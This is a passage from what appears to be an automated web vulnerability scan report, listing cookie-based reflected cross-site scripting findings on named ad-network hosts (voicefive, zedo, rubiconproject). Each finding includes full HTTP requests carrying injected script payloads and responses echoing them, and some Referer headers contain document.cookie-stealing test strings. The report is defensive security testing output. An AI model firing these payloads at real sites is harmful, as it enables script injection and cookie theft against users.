&prad=3992125865291151&arc=6108747&', "UID": '875e3f1e-184.84.247.65-1303349046', "ar_p91136705": 'exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&ef6c0<script>alert(1)</script>1c875e74eef', "ar_p92429851": 'exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&', "ar_p81479006": 'exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19
...[SNIP]...

4.373. http://ar.voicefive.com/bmx3/broker.pli [ar_p91300630 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p91300630 cookie is copied into the HTML document as plain text between tags. The payload 6ee06<script>alert(1)</script>e120281a41c was submitted in the ar_p91300630 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&6ee06<script>alert(1)</script>e120281a41c; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:10 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:10 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:10 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034930; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&', "ar_p91300630": 'exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&6ee06<script>alert(1)</script>e120281a41c' };
COMSCORE.BMX.Broker.GlobalConfig={
"urlExcludeList": "http://photobucket.com/$|zone.msn.com|xbox.com|www.aol.com/$|http://Webmail.aol.com/$|http://travel.aol.com/$|http://netscape.aol.com/$|http
...[SNIP]...

4.374. http://ar.voicefive.com/bmx3/broker.pli [ar_p92429851 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p92429851 cookie is copied into the HTML document as plain text between tags. The payload 5d043<script>alert(1)</script>d98d8bae4f4 was submitted in the ar_p92429851 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&5d043<script>alert(1)</script>d98d8bae4f4; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:12 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:12 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:12 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034932; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
r 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&', "ar_p92429851": 'exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&5d043<script>alert(1)</script>d98d8bae4f4', "ar_p81479006": 'exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&', "ar_p91300630": 'exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:2
...[SNIP]...

4.375. http://ar.voicefive.com/bmx3/broker.pli [ar_p97174789 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_p97174789 cookie is copied into the HTML document as plain text between tags. The payload c314a<script>alert(1)</script>670f081857c was submitted in the ar_p97174789 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=1; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&c314a<script>alert(1)</script>670f081857c; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:13 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:13 2011&c314a<script>alert(1)</script>670f081857c=&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:13 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034933; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
onload);
}}}}}},f:[],done:false,timer:null};})();}COMSCORE.BMX.Broker.Cookies={ "ar_p97174789": 'exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&c314a<script>alert(1)</script>670f081857c', "ar_p82806590": 'exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&', "ar_s_p81479006": '1', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 201
...[SNIP]...

4.376. http://ar.voicefive.com/bmx3/broker.pli [ar_s_p81479006 cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ar.voicefive.com
Path:	/bmx3/broker.pli

Issue detail

The value of the ar_s_p81479006 cookie is copied into the HTML document as plain text between tags. The payload 9baf7<script>alert(1)</script>089cba9f115 was submitted in the ar_s_p81479006 cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Request

GET /bmx3/broker.pli?pid=p97174789&PRAd=253732016&AR_C=207615354 HTTP/1.1
Host: ar.voicefive.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ar_p91300630=exp=1&initExp=Thu Apr 21 01:24:06 2011&recExp=Thu Apr 21 01:24:06 2011&prad=1201632&arc=1442826&; ar_p90175839=exp=3&initExp=Sun Apr 24 15:20:22 2011&recExp=Sun Apr 24 15:20:23 2011&prad=3992125865291151&arc=6108747&; ar_p81479006=exp=1&initExp=Sun Apr 24 19:44:30 2011&recExp=Sun Apr 24 19:44:30 2011&prad=58779362&arc=40314462&; ar_s_p81479006=19baf7<script>alert(1)</script>089cba9f115; ar_p91136705=exp=2&initExp=Tue Apr 26 18:40:08 2011&recExp=Wed Apr 27 12:40:09 2011&prad=296638419&arc=206710287&; ar_p92429851=exp=4&initExp=Tue Apr 26 18:36:13 2011&recExp=Wed Apr 27 12:40:21 2011&prad=296638425&arc=200912704&; ar_p84552060=exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19:31:14 2011&prad=2108505&arc=4477116&; ar_p82806590=exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&; ar_p90452457=exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&; ar_p97174789=exp=43&initExp=Sun Apr 24 12:09:48 2011&recExp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&; UID=875e3f1e-184.84.247.65-1303349046

Response

HTTP/1.1 200 OK
Server: nginx
Date: Tue, 10 May 2011 13:42:11 GMT
Content-Type: application/x-javascript
Connection: close
Set-Cookie: ar_p97174789=exp=44&initExp=Sun Apr 24 12:09:48 2011&recExp=Tue May 10 13:42:11 2011&prad=253732016&arc=207615354&; expires=Mon 08-Aug-2011 13:42:11 GMT; path=/; domain=.voicefive.com;
Set-Cookie: BMX_G=method->-1,ts->1305034931; path=/; domain=.voicefive.com;
Set-Cookie: BMX_3PC=1; path=/; domain=.voicefive.com;
P3P: policyref="/w3c/p3p.xml", CP="NOI COR NID CUR DEV TAI PSA IVA OUR STA UNI NAV INT"
Cache-Control: max-age=0, no-cache, no-store, must-revalidate
Pragma: no-cache
Expires: -1
Vary: User-Agent,Accept-Encoding
Content-Length: 25731

if(typeof(COMSCORE)!="undefined"&&typeof(COMSCORE.BMX)!="undefined"&&typeof(COMSCORE.BMX.Broker)!="undefined"){COMSCORE.BMX.Broker.logCensus({Prad:"253732016",Pid:"p97174789",Arc:"207615354",Location:
...[SNIP]...
Exp=Mon May 9 15:38:16 2011&prad=242390407&arc=206438258&', "ar_p82806590": 'exp=1&initExp=Thu Apr 28 21:29:14 2011&recExp=Thu Apr 28 21:29:14 2011&prad=62872739&arc=40422016&', "ar_s_p81479006": '19baf7<script>alert(1)</script>089cba9f115', "ar_p90452457": 'exp=1&initExp=Thu May 5 00:58:23 2011&recExp=Thu May 5 00:58:23 2011&prad=310177527&arc=211671722&', "ar_p84552060": 'exp=1&initExp=Wed Apr 27 19:31:14 2011&recExp=Wed Apr 27 19
...[SNIP]...

4.377. http://c7.zedo.com/bar/v16-406/c5/jsc/fm.js [ZEDOIDA cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fm.js

Issue detail

The value of the ZEDOIDA cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload bcd99"-alert(1)-"cca4d9eabf4 was submitted in the ZEDOIDA cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fm.js?c=1&a=0&f=&n=1432&r=5&d=9&q=&$=&s=1&z=0.21134221423475907 HTTP/1.1
Host: c7.zedo.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.gather.com/6360d%3Cimg+src=a+onerror=alert(%22DORK%22)%3E1b6979d15ce
Cookie: FFgeo=2241452; FFChanCap=1583B1190,1#675962#675816#812963#816392#675179,2#894866|0,1,1:0,1,1:1,1,1:0,1,1:0,1,1:0,1,1; ZEDOIDX=21; ZEDOIDA=@HD0VAoBADQAAGbr14QAAAAA~050311bcd99"-alert(1)-"cca4d9eabf4; FFCap=1583B933,196008,139660|0,1,1:0,1,1

Response (redirected)

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFcat=1432,1,9;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=286
Expires: Tue, 10 May 2011 14:19:11 GMT
Date: Tue, 10 May 2011 14:14:25 GMT
Connection: close
Content-Length: 2115

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1;var zzPat='';var zzCusto
...[SNIP]...
AAAA~050311bcd99"-alert(1)-"cca4d9eabf4';

var zzhasAd=undefined;

var zzStr = "s=1;u=@HD0VAoBADQAAGbr14QAAAAA~050311bcd99"-alert(1)-"cca4d9eabf4;z=" + Math.random();
var ainfo = "";

var zzDate = new Date();
var zzWindow;
var zzURL;
if (typeof zzCustom =='undefined'){var zzIdxCustom ='';}
else{var zzIdxCustom = zzCustom;}
if (typeof zzTrd
...[SNIP]...

4.378. http://c7.zedo.com/bar/v16-406/c5/jsc/fmr.js [ZEDOIDA cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://c7.zedo.com
Path:	/bar/v16-406/c5/jsc/fmr.js

Issue detail

The value of the ZEDOIDA cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload 11dee"-alert(1)-"0e9d9deddf3 was submitted in the ZEDOIDA cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /bar/v16-406/c5/jsc/fmr.js?c=4479/4088/1&a=0&f=&n=305&r=13&d=15&q=&$=&s=1128&z=0.20179314771667123 HTTP/1.1
Host: c7.zedo.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ZEDOIDX=29; ZEDOIDA=5ajh4goBADQAAFjiiCYAAABN~04231111dee"-alert(1)-"0e9d9deddf3; __qca=P0-591305981-1304358415303; FFAbh=847B162,20|313_1#365; ZFFAbh=845B826,20|1451_856#376Z1117_846#366Z798_845#365; FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1; FFCap=1581B1219,212244:1452,206974|0,1,1:0,9,1; FFgeo=2241452; PI=h1023448Za926090Zc305005676%2C305005676Zs1423Zt1129; ZCBC=1

Response

HTTP/1.1 200 OK
Server: ZEDO 3G
Content-Type: application/x-javascript
Set-Cookie: FFSkp=305,4479,15,1:;expires=Wed, 11 May 2011 05:00:00 GMT;path=/;domain=.zedo.com;
Set-Cookie: FFcat=305,4479,15;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFad=0;expires=Wed, 11 May 2011 05:00:00 GMT;domain=.zedo.com;path=/;
Set-Cookie: FFChanCap=1573B496,121#543485#876543#675101:1219,16#736039,18#736041:1099,2#702968:305,4479#940496|0,15,1:1,15,1:5,15,1:0,9,1:0,9,1:0,17,1:0,18,1;expires=Thu, 09 Jun 2011 13:25:41 GMT;path=/;domain=.zedo.com;
ETag: "90e70110-8181-4a1e245688080"
Vary: Accept-Encoding
X-Varnish: 545954342 545954007
P3P: CP="NOI DSP COR CURa ADMa DEVa PSDa OUR BUS UNI COM NAV OTC", policyref="/w3c/p3p.xml"
Cache-Control: max-age=382
Expires: Tue, 10 May 2011 13:32:03 GMT
Date: Tue, 10 May 2011 13:25:41 GMT
Connection: close
Content-Length: 7371

// Copyright (c) 2000-2011 ZEDO Inc. All Rights Reserved.

var p9=new Image();

var zzD=window.document;

if(typeof zzuid=='undefined'){
var zzuid='unknown';}
var zzSection=1128;var zzPat='';var zz
...[SNIP]...
undefined' || ainfo.length == 0) { var ainfo =''; }

/*

*/

var zzLogData ="a=940496;x=3840;g=0,0;c=305004479,305004479;i=0;n=305;s=1128;s=1128;g=172;m=34;w=51;x=3840;u=5ajh4goBADQAAFjiiCYAAABN~04231111dee"-alert(1)-"0e9d9deddf3;1=;2=;i=0;p=8;f=1064645;h=478907;z=" + Math.random();

var zzIdxSection=1128;

function zd_getDateValue(){
var zl_now = new Date();
var zl_start = new Date();
zl_start.setMonth(0);
...[SNIP]...

4.379. http://optimized-by.rubiconproject.com/a/8430/13646/27091-15.js [ruid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://optimized-by.rubiconproject.com
Path:	/a/8430/13646/27091-15.js

Issue detail

The value of the ruid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload adf2c"-alert(1)-"7ad859fee9d was submitted in the ruid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /a/8430/13646/27091-15.js?cb=0.19387194865904978 HTTP/1.1
Host: optimized-by.rubiconproject.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: rpb=4212%3D1; put_1185=3658195966029417970; ruid=adf2c"-alert(1)-"7ad859fee9d; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GhejWUS54NHOc/mc5f3LNIph0VqHPLHJEoduxZUPp0oskBIySwfMah/ci9C+dMf4Fv4WU=; rdk=8430/13646; rdk2=0; ses2=13646^1

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:24:01 GMT
Server: RAS/1.3 (Unix)
Set-Cookie: rdk=8430/13646; expires=Tue, 10-May-2011 15:24:01 GMT; max-age=60; path=/; domain=.rubiconproject.com
Set-Cookie: rdk15=0; expires=Tue, 10-May-2011 15:24:01 GMT; max-age=10; path=/; domain=.rubiconproject.com
Set-Cookie: ses15=13646^1; expires=Wed, 11-May-2011 04:59:59 GMT; max-age=63358; path=/; domain=.rubiconproject.com
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
Set-Cookie: csi15=3201064.js^1^1305037441^1305037441; expires=Tue, 17-May-2011 14:24:01 GMT; max-age=604800; path=/; domain=.rubiconproject.com;
Cache-Control: no-cache, no-store, max-age=0, must-revalidate
Pragma: no-cache
Expires: Wed, 17 Sep 1975 21:32:10 GMT
Connection: close
Content-Type: application/x-javascript
Content-Length: 1903

rubicon_cb = Math.random(); rubicon_rurl = document.referrer; if(top.location==document.location){rubicon_rurl = document.location;} rubicon_rurl = escape(rubicon_rurl);
window.rubicon_ad = "3201064"
...[SNIP]...
<img src=\"http://trgca.opt.fimserve.com/fp.gif?pixelid=287-036699&diresu=adf2c"-alert(1)-"7ad859fee9d\" style=\"display: none;\" border=\"0\" height=\"1\" width=\"1\" alt=\"\"/>
...[SNIP]...

4.380. http://optimized-by.rubiconproject.com/a/dk.js [ruid cookie] previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://optimized-by.rubiconproject.com
Path:	/a/dk.js

Issue detail

The value of the ruid cookie is copied into a JavaScript string which is encapsulated in double quotation marks. The payload cf56d"-alert(1)-"f0d0c0a75f1 was submitted in the ruid cookie. This input was echoed unmodified in the application's response.

This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.

Because the user data that is copied into the response is submitted within a cookie, the application's behaviour is not trivial to exploit in an attack against another user. Typically, you will need to find a means of setting an arbitrary cookie value in the victim's browser in order to exploit the vulnerability. This limitation considerably mitigates the impact of the vulnerability.

Remediation detail

Request

GET /a/dk.js?defaulting_ad=x30d828.js&size_id=15&size=300x250&cb=0.08373477613121816 HTTP/1.1
Host: optimized-by.rubiconproject.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: */*
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://www.philly.com/philly/news/nation_world/121548659.html?ef135%27%3balert(document.cookie)//4b169261d24=1
Cookie: rpb=4212%3D1; put_1185=3658195966029417970; ruid=cf56d"-alert(1)-"f0d0c0a75f1; rsid=FcGERCD9s4JUW/TrcU4Dz61qa66Y1k1ire2YJBmN8SN4G8GhejWUS54NHOc/mc5f3LNIph0VqHPLHJEoduxZUPp0oskBIySwfMah/ci9C+dMf4Fv4WU=; rdk=8430/13646; rdk2=0; ses2=13646^1; rdk15=0; ses15=13646^1; csi15=3201064.js^1^1305037242^1305037242

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:24:00 GMT
Server: RAS/1.3 (Unix)
Set-Cookie: rdk=8430/13646; expires=Tue, 10-May-2011 15:24:00 GMT; max-age=60; path=/; domain=.rubiconproject.com
Set-Cookie: rdk15=1; expires=Tue, 10-May-2011 15:24:00 GMT; max-age=10; path=/; domain=.rubiconproject.com
Set-Cookie: ses15=13646^1; expires=Wed, 11-May-2011 04:59:59 GMT; max-age=63359; path=/; domain=.rubiconproject.com
P3P: CP="NOI CURa ADMa DEVa TAIa OUR BUS IND UNI COM NAV INT"
